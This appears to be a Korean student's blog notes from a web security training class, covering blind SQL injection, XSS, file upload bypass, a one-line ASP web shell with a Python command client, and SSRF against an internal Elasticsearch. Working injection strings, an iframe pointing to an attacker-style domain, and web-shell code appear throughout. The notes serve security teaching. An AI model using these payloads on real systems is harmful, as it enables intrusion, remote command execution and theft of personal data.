오프라인 6일차 (ssrf)

2022. 7. 16. 23:43보안/케이쉴드

반응형

저번주 이어서

blind sql 인젝션

db 에러 페이지가 노출이 되지 않거나 취약점 존재를 판단하기 어려운 경우

방법 - 참 거직 쿼리의 반응이 서로 다름을 확인

> 참 쿼리에 대상의 반응, 거짓 쿼리의 대상의 반응이 다를때

 

점검 방법

' and 1=1 -- 참

' and 1=2 -- 거짓

 

저번 시간 

db_name() 에러확인 > ' and db_name() > 1--

>>>>

블라인드로 > db_name()의 첫글자가 a~z니? 를 물어봄

' and 'o' = substring(db_name(),1,1) --

툴로 사용할떄 아스키 코드로 검색하면 유리하다. > 값 증가가 편하다 + 이진트리 같은 알고리즘을 사용할때 무한 루프를 방지할 수 있다.

' and 111 = ascii(substring(db_name(),1,1)) --

 

첫번째 테이블

=> ' and 111 = ascii(substring((select top 1 table_name from information_schema.tables),1,1)) --

 

Time_based

 '; if 1=1 waitfor delay '0:0:3' --

정보를 수집하는데 시간이 걸린다

블라인드 하위 항목임

 

xss (cross site scripting)

- owasp 인젝션 항목에 포함됨

- reflected

 

 

 

진단시 alert로 진단 가능

<script> alert("xss"); </script>

or 

"> <script> alert("xss"); </script>    (reflected 반사형)

많이 확인하는거 ( stored 저장형) 

alert(document.cookie) -  쿠키정보확인

<iframe src="www.~~"> </iframe> -리다이렉션

 

 

 

파일 업로드

확장자가 달라서 못올리는 경우

종단문자 우회 =

webshell.asp%00.jpg

https://ch4njun.tistory.com/74참조

 

[Concept] 파일업로드 확장자우회

파일업로드 기능을 구현할 때 개발자는 취약점 방지를 위해 확장자에대한 제한을 거는 경우가 많다. 예를 들면, php, jsp, asp 확장자는 업로드할 수 없게 블랙리스트 필터링을 건다던지 jpg, jpeg, png

ch4njun.tistory.com

웹쉘은 파일이 커서 찾기가 쉽다

> 차단하기가 쉬움

 

>>그래서 나온 한줄 웹쉘

<% eval request("cmd") %>

response.write(Server.CreateObject("WSCRIPT.SHELL").("cmd.exe > /c [command]").stdout.readall

 

http://10.200.40.9/demoshop/shop_board/upload_file/oneline.asp?cmd=response.write(Server.CreateObject(%22WSCRIPT.SHELL%22).exec(%22cmd.exe%20%3E%20/c%20ipconfig%22).stdout.readall)와 같은 형태

 

 

포스트 방식으로

 

결과

 

 

파일 다운로드 취약점

다운 로드할때 경로를 ./././././(......//)를 통해서 etc passwd에 접근하기도 한다. 

 

 

 

 

 

ip가 막혀있으면

짜피 2진수로 바뀌니까 dns에 10진수 값을 넣는다

 

 

 

XSS(Cross Site Scripting)
- OWASP에 '인젝션' 항목에 포함됨
- Reflected or Stored
- 취약점 진단 (실제 진단 시 Alert을 많이 사용)

1. Reflected (반사형)

   =    "><script>alert("xss");</script>
   =    "><script>alert(document.cookie);</script>
   =    "><iframe src="http://attacker.co.kr"></iframe>


2. Stored (저장형)
- 점검구문 예시
   =    <script>alert("xss");</script> 
   =    <script>alert(document.cookie);</script>
   =    <iframe src="http://attacker.co.kr"></iframe>


File Upload
 - 종단문자 우회
  = webshell.asp%00.jpg

 - 한줄 웹쉘 만들기
  = 웹쉘: <% eval(request("cmd")) %>


[python3 code]

import requests

webshellName = "oneline.asp"
url = "http://10.200.198.9/demoshop/shop_board/upload_file/"+webshellName
userCommand = input("Input Command : ")
setParams = 'response.write(Server.CreateObject("WSCRIPT.SHELL").exec("cmd > /c '+userCommand+'").stdout.readall)'

payload = {'cmd' : setParams}
response = requests.post(url, payload)

print(response.text)

---웹 로그 비교
[GET]
2022-07-15 03:15:21 10.200.198.9 GET /demoshop/shop_board/upload_file/oneline.asp cmd=response.write(Server.CreateObject(%22WSCRIPT.SHELL%22).exec(%22cmd.exe%20%3E%20/c%20ipconfig%22).stdout.readall) 80 - 10.200.198.4 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/100.0.4896.60+Safari/537.36 200 0 0 31

[POST]
2022-07-15 03:37:46 10.200.198.9 POST /demoshop/shop_board/upload_file/oneline.asp - 80 - 10.200.198.4 python-requests/2.25.1 200 0 0 218



SSRF
서버 측 요청 위조라는 뜻으로 CSRF와 달리 서버 측에서 요청을 위조하면서 발생하는 문제
일반적으로 외부에서도 접근 가능하도록  웹 서버를 운영하는 조직은 공인 IP 주소를 부여하여 인터넷에 공개
반면 조직 내부에서 사용하는 서버는 방화벽을 통해 외부 접근을 막거나 
내부에서만 사용가능한 사설 IP를 할당

외부에서는 웹 서버만 접근이 가능
 --> 웹 서버 내에서는 동일한 로컬 네트웍에 속해 있는 내부망들로 접속할 수 있음

해당 웹서버가 SSRF취약점이 있다면 
공격자는 웹 서버를 통해 조작된 요청을 내부망으로 보냄
--> 내부망에서는 신뢰하는 접근이기 때문에 정상적으로 요청에 대한 응답
--> 공격자는 취약한 웹 서버를 통해 내부망의 응답 결과를 확인 가능


http://10.0.0.200:9200/_cat/indices?v
 - 색인 통계 정보
 - Index : 일종의 데이터 베이스
 - bank라는 인덱스 확인

http://10.0.0.200:9200/bank/?pretty


http://10.0.0.200:9200/bank/_search/?size=10
- 저장된 개인정보 노출
 = Document 질의

반응형